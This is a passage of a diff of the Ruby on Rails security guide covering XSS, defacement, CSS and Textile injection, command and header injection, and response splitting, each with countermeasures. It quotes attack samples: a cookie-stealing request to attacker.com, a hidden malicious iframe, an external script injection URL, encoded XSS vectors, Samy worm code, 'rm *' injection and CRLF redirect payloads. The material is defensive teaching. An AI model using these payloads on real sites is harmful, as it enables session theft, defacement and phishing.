+ <pre class="brush: plain; gutter: false; toolbar: false">
729
+ GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
730
+ </pre>
731
+ </div>
732
+ <p>You can mitigate these attacks (in the obvious way) by adding the <a href="http://dev.rubyonrails.org/ticket/8895">httpOnly</a> flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies <a href="http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/">will still be visible using Ajax</a>, though.</p>
733
+ <h6 id="defacement">8.3.2.2 Defacement</h6>
734
+ <p>With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:</p>
735
+ <div class="code_container">
736
+ <pre class="brush: xml; gutter: false; toolbar: false">
737
+ &lt;iframe name=”StatPage” src=&quot;http://58.xx.xxx.xxx&quot; width=5 height=5 style=”display:none”&gt;&lt;/iframe&gt;
738
+ </pre>
739
+ </div>
740
+ <p>This loads arbitrary <span class="caps">HTML</span> and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the <a href="http://isc.sans.org/diary.html?storyid=3015">Mpack attack framework</a>. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.</p>
741
+ <p>A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site&#8217;s original, but transmits the user name and password to the attacker&#8217;s site. Or it could use <span class="caps">CSS</span> and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.</p>
742
+ <p>Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the <span class="caps">URL</span>. Especially search forms fail to escape the search string. The following link presented a page which stated that &#8220;George Bush appointed a 9 year old boy to be the chairperson&#8230;&#8221;:</p>
743
+ <div class="code_container">
744
+ <pre class="brush: plain; gutter: false; toolbar: false">
745
+ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--&gt;
746
+ &lt;script src=http://www.securitylab.ru/test/sc.js&gt;&lt;/script&gt;&lt;!--
747
+ </pre>
748
+ </div>
749
+ <h6 id="html-injection-countermeasures">8.3.2.3 Countermeasures</h6>
750
+ <p><em class="highlight">It is very important to filter malicious input, but it is also important to escape the output of the web application</em>.</p>
751
+ <p>Especially for <span class="caps">XSS</span>, it is important to do <em class="highlight">whitelist input filtering instead of blacklist</em>. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.</p>
752
+ <p>Imagine a blacklist deletes “script” from the user input. Now the attacker injects “&lt;scrscriptipt&gt;”, and after the filter, “&lt;script&gt;” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:</p>
753
+ <div class="code_container">
754
+ <pre class="brush: ruby; gutter: false; toolbar: false">
755
+ strip_tags(&quot;some&lt;&lt;b&gt;script&gt;alert('hello')&lt;&lt;/b&gt;/script&gt;&quot;)
756
+ </pre>
757
+ </div>
758
+ <p>This returned &#8220;some&lt;script&gt;alert(&#8216;hello&#8217;)&lt;/script&gt;&#8221;, which makes an attack work. That&#8217;s why I vote for a whitelist approach, using the updated Rails 2 method sanitize():</p>
759
+ <div class="code_container">
760
+ <pre class="brush: ruby; gutter: false; toolbar: false">
761
+ tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p)
762
+ s = sanitize(user_input, :tags =&gt; tags, :attributes =&gt; %w(href title))
763
+ </pre>
764
+ </div>
765
+ <p>This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.</p>
766
+ <p>As a second step, <em class="highlight">it is good practice to escape all output of the application</em>, especially when re-displaying user input, which hasn&#8217;t been input-filtered (as in the search form example earlier on). <em class="highlight">Use <tt>escapeHTML()</tt> (or its alias <tt>h()</tt>) method</em> to replace the <span class="caps">HTML</span> input characters &amp;, &quot;, &lt;, &gt; by their uninterpreted representations in <span class="caps">HTML</span> (<tt>&amp;amp;</tt>, <tt>&amp;quot;</tt>, <tt>&amp;lt</tt>;, and <tt>&amp;gt;</tt>). However, it can easily happen that the programmer forgets to use it, so <em class="highlight">it is recommended to use the <a href="http://safe-erb.rubyforge.org/svn/plugins/safe_erb/">SafeErb</a> plugin</em>. SafeErb reminds you to escape strings from external sources.</p>
767
+ <h6 id="obfuscation-and-encoding-injection">8.3.2.4 Obfuscation and Encoding Injection</h6>
768
+ <p>Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in <span class="caps">UTF</span>-8 encoding:</p>
769
+ <div class="code_container">
770
+ <pre class="brush: xml; gutter: false; toolbar: false">
771
+ &lt;IMG SRC=&amp;amp;#106;&amp;amp;#97;&amp;amp;#118;&amp;amp;#97;&amp;amp;#115;&amp;amp;#99;&amp;amp;#114;&amp;amp;#105;&amp;amp;#112;&amp;amp;#116;&amp;amp;#58;&amp;amp;#97;
772
+ &amp;amp;#108;&amp;amp;#101;&amp;amp;#114;&amp;amp;#116;&amp;amp;#40;&amp;amp;#39;&amp;amp;#88;&amp;amp;#83;&amp;amp;#83;&amp;amp;#39;&amp;amp;#41;&gt;
773
+ </pre>
774
+ </div>
775
+ <p>This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the <a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php">Hackvertor</a>. Rails&#8217; sanitize() method does a good job to fend off encoding attacks.</p>
776
+ <h5 id="examples-from-the-underground">8.3.3 Examples from the Underground</h5>
777
+ <p><em>In order to understand today&#8217;s attacks on web applications, it&#8217;s best to take a look at some real-world attack vectors.</em></p>
778
+ <p>The following is an excerpt from the <a href="http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&amp;tabid=1">Js.Yamanner@m</a> Yahoo! Mail <a href="http://groovin.net/stuff/yammer.txt">worm</a>. It appeared on June 11, 2006 and was the first webmail interface worm:</p>
779
+ <div class="code_container">
780
+ <pre class="brush: xml; gutter: false; toolbar: false">
781
+ &lt;img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
782
+ target=&quot;&quot;onload=&quot;var http_request = false; var Email = '';
783
+ var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
784
+ </pre>
785
+ </div>
786
+ <p>The worms exploits a hole in Yahoo&#8217;s <span class="caps">HTML</span>/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow <span class="caps">HTML</span>/JavaScript in a web application.</p>
787
+ <p>Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on <a href="http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/">Rosario Valotta&#8217;s paper</a>. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with.</p>
788
+ <p>In December 2006, 34,000 actual user names and passwords were stolen in a <a href="http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html">MySpace phishing attack</a>. The idea of the attack was to create a profile page named “login_home_index_html”, so the <span class="caps">URL</span> looked very convincing. Specially-crafted <span class="caps">HTML</span> and <span class="caps">CSS</span> was used to hide the genuine MySpace content from the page and instead display its own login form.</p>
789
+ <p>The MySpace Samy worm will be discussed in the <span class="caps">CSS</span> Injection section.</p>
790
+ <h4 id="css-injection">8.4 <span class="caps">CSS</span> Injection</h4>
791
+ <p>&#8212; <em><span class="caps">CSS</span> Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari and others) allow JavaScript in <span class="caps">CSS</span>. Think twice about allowing custom <span class="caps">CSS</span> in your web application.</em></p>
792
+ <p><span class="caps">CSS</span> Injection is explained best by a well-known worm, the <a href="http://namb.la/popular/tech.html">MySpace Samy worm</a>. This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, but it creates too much traffic on MySpace, so that the site goes offline. The following is a technical explanation of the worm.</p>
793
+ <p>MySpace blocks many tags, however it allows <span class="caps">CSS</span>. So the worm&#8217;s author put JavaScript into <span class="caps">CSS</span> like this:</p>
794
+ <div class="code_container">
795
+ <pre class="brush: xml; gutter: false; toolbar: false">
796
+ &lt;div style=&quot;background:url('javascript:alert(1)')&quot;&gt;
797
+ </pre>
798
+ </div>
799
+ <p>So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code.</p>
800
+ <div class="code_container">
801
+ <pre class="brush: xml; gutter: false; toolbar: false">
802
+ &lt;div id=&quot;mycode&quot; expr=&quot;alert('hah!')&quot; style=&quot;background:url('javascript:eval(document.all.mycode.expr)')&quot;&gt;
803
+ </pre>
804
+ </div>
805
+ <p>The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”:</p>
806
+ <div class="code_container">
807
+ <pre class="brush: plain; gutter: false; toolbar: false">
808
+ alert(eval('document.body.inne' + 'rHTML'));
809
+ </pre>
810
+ </div>
811
+ <p>The next problem was MySpace filtering the word “javascript”, so the author used “java&lt;<span class="caps">NEWLINE</span>&gt;script&quot; to get around this:</p>
812
+ <div class="code_container">
813
+ <pre class="brush: xml; gutter: false; toolbar: false">
814
+ &lt;div id=&quot;mycode&quot; expr=&quot;alert('hah!')&quot; style=&quot;background:url('java↵
script:eval(document.all.mycode.expr)')&quot;&gt;
815
+ </pre>
816
+ </div>
817
+ <p>Another problem for the worm&#8217;s author were <span class="caps">CSRF</span> security tokens. Without them he couldn&#8217;t send a friend request over <span class="caps">POST</span>. He got around it by sending a <span class="caps">GET</span> to the page right before adding a user and parsing the result for the <span class="caps">CSRF</span> token.</p>
818
+ <p>In the end, he got a 4 KB worm, which he injected into his profile page.</p>
819
+ <p>The <a href="http://www.securiteam.com/securitynews/5LP051FHPE.html">moz-binding</a> <span class="caps">CSS</span> property proved to be another way to introduce JavaScript in <span class="caps">CSS</span> in Gecko-based browsers (Firefox, for example).</p>
820
+ <h5 id="css-injection-countermeasures">8.4.1 Countermeasures</h5>
821
+ <p>This example, again, showed that a blacklist filter is never complete. However, as custom <span class="caps">CSS</span> in web applications is a quite rare feature, I am not aware of a whitelist <span class="caps">CSS</span> filter. <em class="highlight">If you want to allow custom colors or images, you can allow the user to choose them and build the <span class="caps">CSS</span> in the web application</em>. Use Rails&#8217; <tt>sanitize()</tt> method as a model for a whitelist <span class="caps">CSS</span> filter, if you really need one.</p>
822
+ <h4 id="textile-injection">8.5 Textile Injection</h4>
823
+ <p>&#8212; <em>If you want to provide text formatting other than <span class="caps">HTML</span> (due to security), use a mark-up language which is converted to <span class="caps">HTML</span> on the server-side. <a href="http://redcloth.org/">RedCloth</a> is such a language for Ruby, but without precautions, it is also vulnerable to <span class="caps">XSS</span>.</em></p>
824
+ <p>For example, RedCloth translates <tt>_test_</tt> to &lt;em&gt;test&lt;em&gt;, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to <span class="caps">XSS</span>. Get the <a href="http://www.redcloth.org">all-new version 4</a> that removed serious bugs. However, even that version has <a href="http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html">some security bugs</a>, so the countermeasures still apply. Here is an example for version 3.0.4:</p>
825
+ <div class="code_container">
826
+ <pre class="brush: ruby; gutter: false; toolbar: false">
827
+ RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;').to_html
828
+ # =&gt; &quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot;
829
+ </pre>
830
+ </div>
831
+ <p>Use the :filter_html option to remove <span class="caps">HTML</span> which was not created by the Textile processor.</p>
832
+ <div class="code_container">
833
+ <pre class="brush: ruby; gutter: false; toolbar: false">
834
+ RedCloth.new('&lt;script&gt;alert(1)&lt;/script&gt;', [:filter_html]).to_html
835
+ # =&gt; &quot;alert(1)&quot;
836
+ </pre>
837
+ </div>
838
+ <p>However, this does not filter all <span class="caps">HTML</span>, a few tags will be left (by design), for example &lt;a&gt;:</p>
839
+ <div class="code_container">
840
+ <pre class="brush: ruby; gutter: false; toolbar: false">
841
+ RedCloth.new(&quot;&lt;a href='javascript:alert(1)'&gt;hello&lt;/a&gt;&quot;, [:filter_html]).to_html
842
+ # =&gt; &quot;&lt;p&gt;&lt;a href=&quot;javascript:alert(1)&quot;&gt;hello&lt;/a&gt;&lt;/p&gt;&quot;
843
+ </pre>
844
+ </div>
845
+ <h5 id="textile-injection-countermeasures">8.5.1 Countermeasures</h5>
846
+ <p>It is recommended to <em class="highlight">use RedCloth in combination with a whitelist input filter</em>, as described in the countermeasures against <span class="caps">XSS</span> section.</p>
847
+ <h4 id="ajax-injection">8.6 Ajax Injection</h4>
848
+ <p>&#8212; <em>The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn&#8217;t render a view.</em></p>
849
+ <p>If you use the <a href="http://dev.rubyonrails.org/browser/plugins/in_place_editing">in_place_editor plugin</a>, or actions that return a string, rather than rendering a view, <em class="highlight">you have to escape the return value in the action</em>. Otherwise, if the return value contains a <span class="caps">XSS</span> string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.</p>
850
+ <h4 id="command-line-injection">8.7 Command Line Injection</h4>
851
+ <p>&#8212; <em>Use user-supplied command line parameters with caution.</em></p>
852
+ <p>If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).</p>
853
+ <p>A countermeasure is to <em class="highlight">use the <tt>system(command, parameters)</tt> method which passes command line parameters safely</em>.</p>
854
+ <div class="code_container">
855
+ <pre class="brush: ruby; gutter: false; toolbar: false">
856
+ system(&quot;/bin/echo&quot;,&quot;hello; rm *&quot;)
857
+ # prints &quot;hello; rm *&quot; and does not delete files
858
+ </pre>
859
+ </div>
860
+ <h4 id="header-injection">8.8 Header Injection</h4>
861
+ <p>&#8212; <em><span class="caps">HTTP</span> headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, <span class="caps">XSS</span> or <span class="caps">HTTP</span> response splitting.</em></p>
862
+ <p><span class="caps">HTTP</span> request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target <span class="caps">URL</span>) field. All of them are user-supplied and may be manipulated with more or less effort. <em class="highlight">Remember to escape these header fields, too.</em> For example when you display the user agent in an administration area.</p>
863
+ <p>Besides that, it is <em class="highlight">important to know what you are doing when building response headers partly based on user input.</em> For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:</p>
864
+ <div class="code_container">
865
+ <pre class="brush: ruby; gutter: false; toolbar: false">
866
+ redirect_to params[:referer]
867
+ </pre>
868
+ </div>
869
+ <p>What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this:</p>
870
+ <div class="code_container">
871
+ <pre class="brush: plain; gutter: false; toolbar: false">
872
+ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
873
+ </pre>
874
+ </div>
875
+ <p>And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this:</p>
876
+ <div class="code_container">
877
+ <pre class="brush: plain; gutter: false; toolbar: false">
878
+ http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi!
879
+ http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
880
+ </pre>
881
+ </div>
882
+ <p>Note that &#8220;%0d%0a&#8221; is <span class="caps">URL</span>-encoded for &#8220;\r\n&#8221; which is a carriage-return and line-feed (<span class="caps">CRLF</span>) in Ruby. So the resulting <span class="caps">HTTP</span> header for the second example will be the following because the second Location header field overwrites the first.</p>
883
+ <div class="code_container">
884
+ <pre class="brush: plain; gutter: false; toolbar: false">
885
+ HTTP/1.1 302 Moved Temporarily
886
+ (...)
887
+ Location: http://www.malicious.tld
888
+ </pre>
889
+ </div>
890
+ <p>So <em class="highlight">attack vectors for Header Injection are based on the injection of <span class="caps">CRLF</span> characters in a header field.</em> And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the <tt>redirect_to</tt> method. <em class="highlight">Make sure you do it yourself when you build other header fields with user input.</em></p>
891
+ <h5 id="response-splitting">8.8.1 Response Splitting</h5>
892
+ <p>If Header Injection was possible, Response Splitting might be, too. In <span class="caps">HTTP</span>, the header block is followed by two CRLFs and the actual data (usually <span class="caps">HTML</span>). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious <span class="caps">HTML</span>. The response will be:</p>
893
+ <div class="code_container">
894
+ <pre class="brush: plain; gutter: false; toolbar: false">
895
+ HTTP/1.1 302 Found [First standard 302 response]
896
+ Date: Tue, 12 Apr 2005 22:09:07 GMT
897
+ Location:
Content-Type: text/html
898
+
899
+
900
+ HTTP/1.1 200 OK [Second New response created by attacker begins]
901
+ Content-Type: text/html
902
+
903
+
904
+ &amp;lt;html&amp;gt;&amp;lt;font color=red&amp;gt;hey&amp;lt;/font&amp;gt;&amp;lt;/html&amp;gt; [Arbitary malicious input is
905
+ Keep-Alive: timeout=15, max=100 shown as the redirected page]
906
+ Connection: Keep-Alive
907
+ Transfer-Encoding: chunked
908
+ Content-Type: text/html
909
+ </pre>
910
+ </div>
911
+ <p>Under certain circumstances this would present the malicious <span class="caps">HTML</span> to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can&#8217;t rely on this. <em class="highlight">In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks.</em></p>
912
+ <h3 id="additional-resources">9 Additional Resources</h3>
913
+ <p>The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here:</p>
914
+ <ul>
915
+ <li>The Ruby on Rails security project posts security news regularly: <a href="http://www.rorsecurity.info">http://www.rorsecurity.info</a></li>
916
+ <li>Subscribe to the Rails security <a href="http://groups.google.com/group/rubyonrails-security">mailing list</a></li>
917
+ <li><a href="http://secunia.com/">Keep up to date on the other application layers</a> (they have a weekly newsletter, too)</li>
918
+ <li>A <a href="http://ha.ckers.org/blog/">good security blog</a> including the <a href="http://ha.ckers.org/xss.html">Cross-Site scripting Cheat Sheet</a></li>
919
+ </ul>
920
+
921
+ <h3>Feedback</h3>
922
+ <p>
923
+ You're encouraged to help improve the quality of this guide.
924
+ </p>
925
+ <p>
926
+ If you see any typos or factual errors you are confident to
927
+ patch, please clone <a href="https://github.com/lifo/docrails">docrails</a>
928
+ and push the change yourself. That branch of Rails has public write access.
929
+ Commits are still reviewed, but that happens after you've submitted your
930
+ contribution. <a href="https://github.com/lifo/docrails">docrails</a> is
931
+ cross-merged with master periodically.
932
+ </p>
933
+ <p>
934
+ You may also find incomplete content, or stuff that is not up to date.
935
+ Please do add any missing documentation for master. Check the
936
+ <a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a>
937
+ for style and conventions.
938
+ </p>
939
+ <p>
940
+ If for whatever reason you spot something to fix but cannot patch it yourself, please
941
+ <a href="https://github.com/rails/rails/issues">open an issue</a>.
942
+ </p>
943
+ <p>And last but not least, any kind of discussion regarding Ruby on Rails
944
+ documentation is very welcome in the <a href="http://groups.google.com/group/rubyonrails-docs">rubyonrails-docs mailing list</a>.
945
+ </p>
946
+ </div>
947
+ </div>
948
+ </div>
949
+
950
+ <hr class="hide" />
951
+ <div id="footer">
952
+ <div class="wrapper">
953
+ <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
954
+ <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
955
+ </div>
956
+ </div>
957
+
958
+ <script type="text/javascript" src="javascripts/guides.js"></script>
959
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
960
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
961
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
962
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
963
+ <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
964
+ <script type="text/javascript">
965
+ SyntaxHighlighter.all()
966
+ </script>
967
+ </body>
968
+ </html>